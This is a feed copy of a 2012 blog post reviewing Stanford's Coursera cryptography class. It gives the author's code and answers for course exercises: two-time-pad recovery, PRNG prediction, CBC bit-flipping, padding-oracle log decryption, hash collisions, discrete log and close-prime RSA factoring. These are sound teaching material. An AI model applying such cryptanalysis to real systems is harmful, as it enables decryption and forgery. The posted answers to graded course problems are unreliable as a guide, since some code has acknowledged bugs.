		<title>Free Stanford &#8216;Intro to Cryptography&#8217; Class Review</title>
		<link>http://webstersprodigy.net/2012/12/20/stanford-free-crypto-class-review/</link>
		<comments>http://webstersprodigy.net/2012/12/20/stanford-free-crypto-class-review/#comments</comments>
		<pubDate>Fri, 21 Dec 2012 01:43:50 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Crypto]]></category>
		<category><![CDATA[101]]></category>
		<category><![CDATA[aes]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[rsa]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=1973</guid>
		<description><![CDATA[Last Spring I took my first coursera class, Introduction to Cryptogaphy taught by Dan Boneh. In college I took a few crypto classes, and I also deal with some crypto problems at work and in CTF. Although I&#8217;m definitely not a crypto expert, I had a pretty good background going into the class. Looking at [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=1973&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Last Spring I took my first coursera class, <a href="https://www.coursera.org/crypto/">Introduction to Cryptogaphy</a> taught by Dan Boneh. In college I took a few crypto classes, and I also deal with some crypto problems at work and in CTF. Although I&#8217;m definitely not a crypto expert, I had a pretty good background going into the class. Looking at the syllabus, I expected to work through a few interesting problems, but I didn&#8217;t expect to get too much out of it.</p>
<p>The class certainly exceeded my expectations. Here are the obvious things: Dan knows crypto backward and forward, and is a great teacher. The format was great &#8211; I liked being able to rewind videos at pieces I didn&#8217;t understand at first. The forum was also great &#8211; other students would answer my questions (I answered a few for other people also), and Dan himself would regularly chime in with answers to tricky problems people ran into.</p>
<p>One of the biggest reasons I think the class was so good was its focus on offense. I don&#8217;t really understand how defensive security people can try to defend stuff without understanding offense&#8230; yet the crypto classes I&#8217;d taken before tried to do exactly that. How was I supposed to understand why things needed to be done a certain way if I don&#8217;t know how it can break? Crypto books have been the same way &#8211; every crypto book I&#8217;ve read before (e.g. Bruce Schneier books) don&#8217;t seem to give much page space to offense. Dan brings the attacker&#8217;s perspective into every lecture, and I have a much better understanding of practical cryptography because of it.</p>
<p>I did manage to finish the class, but it was a lot more difficult than I expected (a good difficult :))  They seem to offer this class regularly, and I couldn&#8217;t recommend it more to anyone interested in cryptography.</p>
<p><a href="http://webstersprodigy.net/2012/12/20/stanford-free-crypto-class-review/accomplishment-2/" rel="attachment wp-att-2015"><img src="http://webstersprodigy.files.wordpress.com/2012/12/accomplishment1.png?w=630&#038;h=190" alt="accomplishment" width="630" height="190" class="alignnone size-full wp-image-2015" /></a></p>
<p>Here are excerpts of my favorite problems he gave us to solve, and my solution for those problems. If you&#8217;re planning on taking the full class &#8211; <span style="color:#ff0000;"><strong>spoiler alert</strong></span>. These questions might also be interesting if you don&#8217;t want to take an entire class, but just want to try and solve some super cool crypto problems. One note is all of these problems were optional, which was a decision made early on because he didn&#8217;t want programming to be a prerequisite. These problems are not required to get a coveted statement of accomplishment.</p>
<h3>Week 1 &#8211; Two Time Pad (Reusing Stream Cipher Keys)</h3>
<p><strong>Problem:</strong></p>
<p>&#8220;Let us see what goes wrong when a stream cipher key is used more than once. Below are eleven hex-encoded ciphertexts that are the result of encrypting eleven plaintexts with a stream cipher, all with the same stream cipher key. Your goal is to decrypt the last ciphertext, and submit the secret message within it as solution. &#8221; These ciphertexts are (sorry for the poor formatting, but you should be able to copy them out):</p>
<pre class="brush: plain; title: ; notranslate">
ciphers = [
&quot;315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e&quot;,
&quot;234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f&quot;,
&quot;32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb&quot;,
&quot;32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa&quot;,
&quot;3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070&quot;,
&quot;32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba938220b084800c2ca4e693522643573b2c4ce35050b0cf774201f0fe52ac9f26d71b6cf61a711cc229f77ace7aa88a2f19983122b11be87a59c355d25f8e4&quot;,
&quot;32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd90f1fa6ea5ba47b01c909ba7696cf606ef40c04afe1ac0aa8148dd066592ded9f8774b529c7ea125d298e8883f5e9305f4b44f915cb2bd05af51373fd9b4af511039fa2d96f83414aaaf261bda2e97b170fb5cce2a53e675c154c0d9681596934777e2275b381ce2e40582afe67650b13e72287ff2270abcf73bb028932836fbdecfecee0a3b894473c1bbeb6b4913a536ce4f9b13f1efff71ea313c8661dd9a4ce&quot;,
&quot;315c4eeaa8b5f8bffd11155ea506b56041c6a00c8a08854dd21a4bbde54ce56801d943ba708b8a3574f40c00fff9e00fa1439fd0654327a3bfc860b92f89ee04132ecb9298f5fd2d5e4b45e40ecc3b9d59e9417df7c95bba410e9aa2ca24c5474da2f276baa3ac325918b2daada43d6712150441c2e04f6565517f317da9d3&quot;,
&quot;271946f9bbb2aeadec111841a81abc300ecaa01bd8069d5cc91005e9fe4aad6e04d513e96d99de2569bc5e50eeeca709b50a8a987f4264edb6896fb537d0a716132ddc938fb0f836480e06ed0fcd6e9759f40462f9cf57f4564186a2c1778f1543efa270bda5e933421cbe88a4a52222190f471e9bd15f652b653b7071aec59a2705081ffe72651d08f822c9ed6d76e48b63ab15d0208573a7eef027&quot;,
&quot;466d06ece998b7a2fb1d464fed2ced7641ddaa3cc31c9941cf110abbf409ed39598005b3399ccfafb61d0315fca0a314be138a9f32503bedac8067f03adbf3575c3b8edc9ba7f537530541ab0f9f3cd04ff50d66f1d559ba520e89a2cb2a83&quot;,
&quot;32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904&quot;
]
</pre>
<p><strong>Solution</strong></p>
<p>The most important piece of this is to realize that XORing the ciphertexts together produces the xor of the plaintexts. Additionally, if you can guess at the next character for a given row, you can xor the ciphertext with what it should be to produce the key.</p>
<p>For example, if the ciphertext were 89 and the letter should be &#8216;e&#8217;, then</p>
<pre class="brush: plain; title: ; notranslate">
&gt;&gt;&gt; hex(ord('e') ^ 0x89)
</pre>
<p>would equal the key. You can apply this key to all rows and when you get it wrong, everything looks wonky.</p>
<p>So to demonstrate, the first step is to get a foothold. I postulated 32510b was &#8220;the&#8221; because it was repeated several times at the beginning and &#8216;the&#8217; is the most common trigram. Applying this as a key, everything looked correct (try another common one, like &#8216;and&#8217;, and it will look off). I went one key at a time from there, using the following program.</p>
<pre class="brush: python; title: ; notranslate">
#!/usr/bin/python

import sys
from optparse import OptionParser


#ciphers = ... #found above

class twotimepad:
    
    def __init__(self):
        #based on what we know so far...
        self.keysofar = [0x46, 0x39, 0x6e]



    def get_freq(self, charArray):
        letterdict = {}
        for i in charArray:
            try:
                letterdict[i] += 1
            except KeyError:
                letterdict = 1
        return letterdict

    def print_mSoFar(self):
        c_sofar = [i[0:len(self.keysofar)*2] for i in ciphers]
        for i in range(0,11):
            sys.stdout.write(str(i) + &quot;.\t&quot;)
            for j in range(0, len(self.keysofar)):
                a = self.keysofar[j];
                b = int(c_sofar[i][j*2:j*2+2], 16)
                sys.stdout.write(chr(self.keysofar[j] ^ int(c_sofar[i][j*2:j*2+2], 16)))
            print &quot;&quot;

    def getnextchar(self, i):        
        nextchar = ciphers[i]
        nextchar = nextchar[len(self.keysofar)*2:len(self.keysofar)*2+2]       
        return nextchar
        
    def print_next_letter(self):
        for i in range(0,11):
            print (str(i) + &quot;:\t&quot;+ self.getnextchar(i))

    def add_key(self, num, letter='a'):
        if num == -1:
            self.keysofar = self.keysofar[:-1]
        else:
            self.keysofar.append(ord(letter) ^ int(self.getnextchar(num), 16))
            
    def run(self):        
        while 1:
            print &quot;Current KEY&quot;
            print self.keysofar
            print (&quot;\r\nStuff so Far&quot;)
            self.print_mSoFar()
            print &quot;\r\nNext Letter&quot;
            #self.print_next_letter()
            num = int(raw_input(&quot;\r\n\r\nEnter next number (-1 for mistake): &quot;))
            letter = raw_input(&quot;Enter letter: &quot;)
            self.add_key(num, letter)
    
m = twotimepad()
m.run()
</pre>
<p>This makes a program where you get a shell thing to eyeball one character at a time.</p>
<p><a href="http://webstersprodigy.net/2012/12/20/stanford-free-crypto-class-review/1a/" rel="attachment wp-att-1977"><img src="http://webstersprodigy.files.wordpress.com/2012/12/1a.png?w=500&#038;h=364" alt="1a" width="500" height="364" class="alignnone size-medium wp-image-1977" /></a></p>
<p>The final key was the following:</p>
<pre class="brush: plain; title: ; notranslate">
Key = [70, 57, 110, 137, 201, 219, 216, 204, 152, 116, 53, 42, 205, 99, 149, 16, 46, 175, 206, 120, 170, 127, 237, 40, 160, 127, 107, 201, 141, 41, 197, 11, 105, 176, 51, 154, 25, 248, 170, 64, 26, 156, 109, 112, 143, 128, 192, 102, 199, 99, 254, 240, 18, 49, 72, 205, 216, 232, 2, 208, 91, 169, 135, 119, 51, 93, 174, 252, 236, 213, 156, 67, 58, 107, 38, 139, 96, 191, 78, 240, 60, 154, 97]
</pre>
<p>And the final secret message was:</p>
<pre class="brush: plain; title: ; notranslate">
the secret message is: When using a stream cipher, never use the key more than once
</pre>
<h3>Week 1 &#8211; Breaking a Linear Congruential Generator</h3>
<p><strong>Problem:</strong></p>
<p>The PRG described below uses a 56-bit secret seed. Running the program generates the following first nine outputs of the PRG:</p>
<pre class="brush: plain; title: ; notranslate">
output #1: 210205973
output #2: 22795300
output #3: 58776750
output #4: 121262470
output #5: 264731963
output #6: 140842553
output #7: 242590528
output #8: 195244728
output #9: 86752752
</pre>
<p>Show that this PRG is insecure by computing the next output. What is the next output (output #10) of the PRG? Note that you are not given the seed. </p>
<pre class="brush: python; title: ; notranslate">
import random

P = 295075153L   # about 2^28

class WeakPrng(object):
    def __init__(self, p):   # generate seed with 56 bits of entropy
        self.p = p
        self.x = random.randint(0, p)
        self.y = random.randint(0, p)
   
    def next(self):
        # x_{i+1} = 2*x_{i}+5  (mod p)
        self.x = (2*self.x + 5) % self.p

        # y_{i+1} = 3*y_{i}+7 (mod p)
        self.y = (3*self.y + 7) % self.p

        # z_{i+1} = x_{i+1} xor y_{i+1}
        return (self.x ^ self.y) 


prng = WeakPrng(P)
for i in range(1, 10):
  print &quot;output #%d: %d&quot; % (i, prng.next())
</pre>
<p><strong>Solution</strong></p>
<p>This looks like a Linear Congruential generator. from wikipedia: The period of a general LCG is at most m, and for some choices of a much less than that. Provided that c is nonzero, the LCG will have a full period for all seed values if and only if:[2]</p>
<p>The most important piece is maybe that it&#8217;s linear. Realize the following algorithm will take only about 2^28 guesses, one for every x.</p>
<pre class="brush: plain; title: ; notranslate">
For each x[i]:
  calculate what y[i] has to be, given that x[i] ^ y[i] = output[i]
  see if x[i+1] ^ y[i+1] == output[i+1]. If so, iterate, and we have a match
</pre>
<p>The following C# program calculates this very quickly, on my machine about five seconds.</p>
<pre class="brush: java; title: ; notranslate">
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace linear_prng
{
    class Program
    {


        static void Main(string[] args)
        {
            const int MAX = 295075153;
            int[] seq = new int[] { 210205973, 22795300, 58776750, 121262470, 264731963, 140842553, 242590528 };


            for (int x = 0; x &lt; MAX; x++)
            {
                int x_temp = x;
                for (int i=0; i &lt; seq.Length-1; i++)
                {
                    
                    int y = x_temp ^ seq[i];
                    int x_next = (2 * x_temp + 5) % MAX;
                    int y_next = (3 * y + 7) % MAX;
                    if (seq[i + 1] == (x_next ^ y_next))
                    {
                        System.Console.WriteLine(&quot;{0}: Sol x {1} {2}&quot;, i, x_temp, y);
                        x_temp = x_next;
                        y = y_next;
                    }
                    else
                    {
                        break;
                    }
                }
            }
            System.Console.ReadLine();
            
        }
    }
}
</pre>
<p>Plug the output into the original python program in place of the random x and y, and calculate the next number, which is: 231886864</p>
<h3>Week 2 &#8211; Insecurity of a Two Round Feistel</h3>
<p><strong>Problem</strong></p>
<p>Recall that the Luby-Rackoff theorem discussed in Lecture 3.2 states that applying a three round Feistel network to a secure PRF gives a secure block cipher. Let&#8217;s see what goes wrong if we only use a two round Feistel. Let F:K×{0,1}32→{0,1}32 be a secure PRF. Recall that a 2-round Feistel defines the following PRP   F2:K2×{0,1}64→{0,1}64:</p>
<p><a href="http://webstersprodigy.net/2012/12/20/stanford-free-crypto-class-review/feistel/" rel="attachment wp-att-1988"><img src="http://webstersprodigy.files.wordpress.com/2012/12/feistel.jpg?w=630" alt="Feistel"   class="alignnone size-full wp-image-1988" /></a></p>
<p>Here R0 is the right 32 bits of the 64-bit input and L0 is the left 32 bits. </p>
<p>One of the following lines is the output of this PRP F2 using a random key, while the other three are the output of a truly random permutation f:{0,1}64→{0,1}64. All 64-bit outputs are encoded as 16 hex characters. Can you say which is the output of the PRP?   Note that since you are able to distinguish the output of F2 from random, F2 is not a secure block cipher, which is what we wanted to show. </p>
<p>Hint: First argue that there is a detectable pattern in the xor of F2(⋅,064) and F2(⋅,132032). Then try to detect this pattern in the given outputs.</p>
<p>Then it gives some sample inputs and outputs</p>
<p>On input 0^64 the output is &#8220;2d1cfa42 c0b1d266&#8243;.    On input 1^32 0^32 the output is &#8220;eea6e3dd b2146dd0&#8243;.<br />
On input 064 the output is &#8220;7c2822eb fdc48bfb&#8221;.    On input 132032 the output is &#8220;325032a9 c5e2364b&#8221;.<br />
On input 064 the output is &#8220;290b6e3a 39155d6f&#8221;.    On input 132032 the output is &#8220;d6f491c5 b645c008&#8243;.<br />
On input 064 the output is &#8220;9d1a4f78 cb28d863&#8243;.    On input 132032 the output is &#8220;75e5e3ea 773ec3e6&#8243;.</p>
<p><strong>Solution</strong></p>
<p>In the first round 0 is xored with the F(k1) and in the second 1 is xored with F(k1) so just looking at the first block, xor that with one and it should give us the first block of the second</p>
<p>This simple program does that xor</p>
<p>import sys</p>
<p>a = sys.argv[1].decode(&quot;hex&quot;)<br />
for i in a:<br />
  sys.stdout.write(&quot;{0:02x} &quot;.format(ord(i)^0xff))</p>
<p>print &quot;&quot;</p>
<h3>Week 3 &#8211; Hash Collision</h3>
<p><strong>Problem</strong></p>
<p>In this assignment your task is to find hash function collisions using the birthday attack discussed in the lecture. </p>
<p>Consider the hash function obtained by truncating the output of SHA256 to 50 bits, say H(x)=LSB50(SHA256(x)), that is we drop all but the right most 50 bits of the output. Your goal is to find a collision on this hash function. Find two strings x≠y such that LSB50(SHA256(x))=LSB50(SHA256(y)) and then enter the hex encoding of these strings in the fields below. </p>
<p>For an implementation of SHA256 use an existing crypto library such as PyCrypto (Python), Crypto++ (C++), or any other. </p>
<p><strong>Solution</strong></p>
<p>This code takes a few minutes, but it eventually finds a collision.</p>
<pre class="brush: java; title: ; notranslate">


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.Data.SqlServerCe;



namespace hash_collision
{
    class Program
    {
        //given a seed, returns the first 50 byte hash
        //woops, the assignment asks for the last
        static Int64 getTruncatedHash(int seed)
        {
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(BitConverter.GetBytes(seed));

            byte[] truncatedresult = new byte[8];
            Array.Copy(result, truncatedresult, 8);
            //last byte only car about two most significant bits, do &amp; 0xB0
            truncatedresult[6] = (byte)(truncatedresult[6] &amp; 0xB0);
            truncatedresult[7] = (byte)(0x00);
            return (BitConverter.ToInt64(truncatedresult, 0));

        }


        //given a seed, returns the last 50 byte hash
        static Int64 getEncatedHash(int seed)
        {
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(BitConverter.GetBytes(seed));

            byte[] truncatedresult = new byte[8];
            //Array.Copy(result, 0, truncatedresult, 23, 8);
            Array.Copy(result, 24, truncatedresult, 0, 8);
            //last byte only care about two least significant bits, do &amp; 0x03
            truncatedresult[1] = (byte)(truncatedresult[1] &amp; 0x03);
            truncatedresult[0] = (byte)(0x00);
            return (BitConverter.ToInt64(truncatedresult, 0));

        }

        static void printStuff(int val)
        {
            System.Console.Write(&quot;sha256(&quot;);
            byte[] seed = BitConverter.GetBytes(val);
            foreach (int i in seed)
            {
                System.Console.Write(&quot;{0:X2}&quot;, i); 
            }
            System.Console.Write(&quot;)\t&quot;);
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(seed);
            foreach (int i in result)
            {
                System.Console.Write(&quot;{0:X2}&quot;, i);
            }
            System.Console.Write(&quot;\r\n&quot;);
        }


        static void Main(string[] args)
        {

            for(int iter=0; iter&lt;24; iter++)
            {
                Dictionary&lt;Int64, int&gt; mhash = new Dictionary&lt;Int64, int&gt;();

                //I'd much rather do 2^25, but .net throws an outofmemoryexception... too bad it's not config
                //something like Java -xMx2G, which would be nice.
                int scaler = (int)Math.Pow(2, 24);
                for (int i = scaler*iter; i &lt; scaler*(iter+1); i++)
                {
                    Int64 fiftyhash = getEncatedHash(i);
                    if (mhash.ContainsKey(fiftyhash))                   {
                        System.Console.WriteLine(&quot;FOUND!!!!&quot;);
                        printStuff(i);
                        printStuff(mhash[fiftyhash]);
                        Environment.Exit(0);
                    }
                    else
                        mhash.Add(fiftyhash, i);

                }
                System.Console.WriteLine(&quot;Done with iteration {0} :(&quot;, iter);
                System.Threading.Thread.Sleep(500);
            }
        }
    }
}

</pre>
<p><a href="http://webstersprodigy.net/2012/12/20/stanford-free-crypto-class-review/collision/" rel="attachment wp-att-1991"><img src="http://webstersprodigy.files.wordpress.com/2012/12/collision.png?w=630&#038;h=212" alt="collision" width="630" height="212" class="alignnone size-full wp-image-1991" /></a></p>
<h3>Week 4 &#8211; CBC with IV</h3>
<p><strong>Problem:</strong></p>
<p>An attacker intercepts the following ciphertext (hex encoded): </p>
<pre class="brush: plain; title: ; notranslate">
   20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d 
</pre>
<p>He knows that the plaintext is the ASCII encoding of the message &#8220;Pay Bob 100$&#8221; (excluding the quotes). He also knows that the cipher used is CBC encryption with a random IV using AES as the underlying block cipher. Show that the attacker can change the ciphertext so that it will decrypt to &#8220;Pay Bob 500$&#8221;. What is the resulting ciphertext (hex encoded)? This shows that CBC provides no integrity.</p>
<p><strong>Solution:</strong></p>
<p>This is insecure because the first message block is xored with the random IV</p>
<p>20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d<br />
P a y   B o b   1 0 0 $</p>
<p>9th char<br />
0xb9 decrypts to 1<br />
0xb9 xor ascii (1 xor 5)<br />
0xb9 xor 0&#215;31 xor 0&#215;35<br />
= 0xbd</p>
<p>20814804c1767293bd9f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d</p>
<h3>Week 4 &#8211; Padding Oracle</h3>
<p><strong>Problem:</strong><br />
 <br />
A web site administrator found <a href="https://skydrive.live.com/redir?resid=19794FAC33285FD5!196">these log entries</a> in a web server log. After some digging, the admin realized that the first log entry is an AES CBC encryption with random IV of some secret data (the ciphertext is hex encoded and appears right after the &#8220;GET /&#8221;). The secret data contains private user data that should only be known to the web site. </p>
<p>After more digging the admin realized that the web site is vulnerable to a CBC padding oracle attack. In particular, when a decrypted CBC ciphertext ends in an invalid pad the web server returns a 403 error code (forbidden request). When the CBC padding is valid, but the message is malformed the web server returns a 404 error code (URL not found). To her horror, the admin realized that the log entries following the first entry are a result of a remote CBC padding oracle attack on the ciphertext in the first log entry. </p>
<p>See if you can use the given log entries to recover the decryption of the ciphertext in the first log entry. Keep in mind that the first ciphertext block is the random IV. The decrypted message is ASCII encoded. </p>
<p><strong>Solution:</strong></p>
<p>There are plenty of good resources about the padding oracle. My favorite is probably this: <a href="http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html">http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html</a></p>
<pre class="brush: python; title: ; notranslate">
#!/usr/bin/python
import sys

class oracleAnal:
    #Original doc at http://spark-university.s3.amazonaws.com/stanford-crypto/projects/proj4-log.txt
    #The file processed here generated with cat ./proj4-log.txt | egrep &quot; 404&quot; | cut -f2 -d/ | cut -f1 -d &quot; &quot; &gt; pad.txt
    def __init__(self, fname, debug=False):
      self.debug = debug
      self.iv = []
      self.requests = []
      #need to skip the iv (e.g. block 0)
      self.currBlock = 1
      self.parseRequests(fname)  
      for i in self.iv:
        self.decryptBlock(self.requests[16*self.currBlock:16*(self.currBlock+1)], i)
        self.currBlock += 1
    
    #this parses the request file into self.iv and self.requests
    def parseRequests(self, fname):
      f = open(fname)
      requests = f.readlines()
      for i in range(0, len(requests)):
        req = requests[i].strip()
        self.requests.append(req[:32])
        if(i % 16 == 0):
          self.iv.append(req[32:])
      f.close()
      
    #takes a string, decodes it, and splits it to a byte array  
    def decodestr(self, mstr):
      #blocks should be 16 bytes
      if(len(mstr) != 32):
        print &quot;Error&quot;
      mstr = mstr.decode(&quot;hex&quot;)
      s = [ord(ch) for ch in mstr]
      return s
      
    #each block in the list is of the 16 byte format like
    #e.g. 202020202020202020202020202020d8
    #and iv is the previous original 16 byte crypt block
    #e.g. cac544d7942e50e1a0afa156c803d115
    def decryptBlock(self, bList, iv):
        finalBstr = &quot;&quot;
        if self.debug:
            print &quot;Decrypting a block with IV &quot;, iv
        iv = self.decodestr(iv)
        for block in bList:
            decblock = self.decodestr(block)
            for i in range(0,len(decblock)):
                byte = decblock[i]
                #error here if the valid pad found is 0x20, but can manually fix later...
                #plus it's right 255/256 times :)
                if byte == 0x20:
                    continue
                pad = byte
                padRes = 16-i
                tiv = iv[i]
                if self.debug:
                    print hex(pad), hex(padRes), hex(tiv)
                    print chr(pad ^ padRes ^ tiv)
                finalBstr = chr(pad ^ padRes ^ tiv) + finalBstr
                break
        sys.stdout.write(finalBstr)


m = oracleAnal(&quot;pad.txt&quot;)
</pre>
<h3>Week 5 &#8211; Meet in the Middle</h3>
<p><strong>Problem (shortened to take out extras since formatting was messed up in copy)</strong></p>
<p>Your goal this week is to write a program to compute discrete log modulo a prime p. Let g be some element in Z∗p and suppose you are given h in Z∗p such that h=g^x where 1≤x≤240. Your goal is to find x. More precisely, the input to your program is p,g,h and the output is x. </p>
<p>The trivial algorithm for this problem is to try all 2^40 possible values of x until the correct one is found, that is until we find an x satisfying h=g^x in Zp. This requires 2^40 multiplications. In this project you will implement an algorithm that runs in time roughly 240−−−√=220 using a meet in the middle attack. </p>
<p>(he gives an algorithm)</p>
<p>Now that we have an algorithm, here is the problem to solve:</p>
<p>p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171<br />
g = 11717829880366207009516117596335367088558084999998952205599979459063929499736583746670572176471460312928594829675428279466566527115212748467589894601965568<br />
p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171</p>
<p>Each of these three numbers is about 153 digits. Find x such that h=g^x in Zp. </p>
<h3>Solution</h3>
<p>This was pretty straightforward.</p>
<pre class="brush: python; title: ; notranslate">
import gmpy2


p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171
g = 11717829880366207009516117596335367088558084999998952205599979459063929499736583746670572176471460312928594829675428279466566527115212748467589894601965568
p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171

def calc1(i):
    denominv = pow(g, i, p)
    denom = gmpy2.invert(denominv, p)
    tval = gmpy2.mul(h, denom)
    retval = gmpy2.f_mod(tval, p)
    return retval

def calc2(i):
    return pow(g, (2**20)*i, p)

hasht = {}
for i in range(0,2**20):
    hasht[calc1(i)] = i
for i in range(0, 2**20):
    c2 = calc2(i)
    if c2 in hasht:
        print &quot;x0: &quot;, i
        print &quot;x1: &quot;, hasht[c2]
        break

x = (((357984 * 2**20) + 787046)% p)
print x

</pre>
<h3>Week 6 &#8211; RSA Poor Primes</h3>
<p><strong>Problem</strong></p>
<p>Your goal in this project is to break RSA when the public modulus N is generated incorrectly. This should serve as yet another reminder not to implement crypto primitives yourself. </p>
<p>Normally, the primes that comprise an RSA modulus are generated independently of one another. But suppose a developer decides to generate the first prime p by choosing a random number R and scanning for a prime close by. The second prime q is generated by scanning for some other random prime also close to R. We show that the resulting RSA modulus N=pq can be easily factored. </p>
<p>Suppose you are given a composite N and are told that N is a product of two relatively close primes p and q, namely p and q satisfy<br />
   |p−q|&lt;2N^(1/4)    (*)<br />
Your goal is to factor N. </p>
<p>Factoring challenge #1: The following modulus N is a products of two primes p and q where |p−q|&lt;2N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.</p>
<pre class="brush: plain; title: ; notranslate">
N = 17976931348623159077293051907890247336179769789423065727343008115 \
    77326758055056206869853794492129829595855013875371640157101398586 \
    47833778606925583497541085196591615128057575940752635007475935288 \
    71082364994994077189561705436114947486504671101510156394068052754 \
    0071584560878577663743040086340742855278549092581
</pre>
<p>Factoring challenge #2: The following modulus N is a products of two primes p and q where |p−q|&lt;2^11*N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.</p>
<pre class="brush: plain; title: ; notranslate">
N = 6484558428080716696628242653467722787263437207069762630604390703787 \
    9730861808111646271401527606141756919558732184025452065542490671989 \
    2428844841839353281972988531310511738648965962582821502504990264452 \
    1008852816733037111422964210278402893076574586452336833570778346897 \
    15838646088239640236866252211790085787877
</pre>
<p>Factoring challenge #3: (extra credit) The following modulus N is a products of two primes p and q where |3p−2q|&lt;N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.  </p>
<pre class="brush: plain; title: ; notranslate">
N = 72006226374735042527956443552558373833808445147399984182665305798191 \
    63556901883377904234086641876639384851752649940178970835240791356868 \
    77441155132015188279331812309091996246361896836573643119174094961348 \
    52463970788523879939683923036467667022162701835329944324119217381272 \
    9276147530748597302192751375739387929
</pre>
<p><strong>Solution</strong></p>
<p>I only solved 1 and 2</p>
<pre class="brush: python; title: ; notranslate">
import gmpy2
import math


class bad_rsa:
    def __init__(self, N):
        self.N = N
        self.computePrime()

    def computePrime(self):
        for i in range (1, 2**20):
            self.A = gmpy2.isqrt(self.N) + i
            self.calcX()
            if self.verify():
                print &quot;found it!&quot;
                print self.p
                break

    def calcX(self):
        Asquared = gmpy2.mul(self.A, self.A)
        remainder = gmpy2.sub(Asquared, self.N)
        self.x  = gmpy2.isqrt_rem(remainder)[0] 

    def verify(self):
        self.p = gmpy2.sub(self.A, self.x)
        self.q = gmpy2.add(self.A ,self.x)
        if gmpy2.mul(self.p, self.q) == self.N:
            return True
        else:
            return False


#problem 1
prob1 = gmpy2.mpz('17976931348623159077293051907890247336179769789423065727343008115' +
                   '77326758055056206869853794492129829595855013875371640157101398586' +
                   '47833778606925583497541085196591615128057575940752635007475935288' +
                   '71082364994994077189561705436114947486504671101510156394068052754' +
                   '0071584560878577663743040086340742855278549092581')
#problem 2
prob2 = gmpy2.mpz('6484558428080716696628242653467722787263437207069762630604390703787' +
                  '9730861808111646271401527606141756919558732184025452065542490671989' +
                  '2428844841839353281972988531310511738648965962582821502504990264452' +
                  '1008852816733037111422964210278402893076574586452336833570778346897' +
                  '15838646088239640236866252211790085787877')

a = bad_rsa(prob2)
raw_input(&quot;Enter Key&quot;)
</pre>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=1973&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/12/20/stanford-free-crypto-class-review/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/12/accomplishment1.png" medium="image">
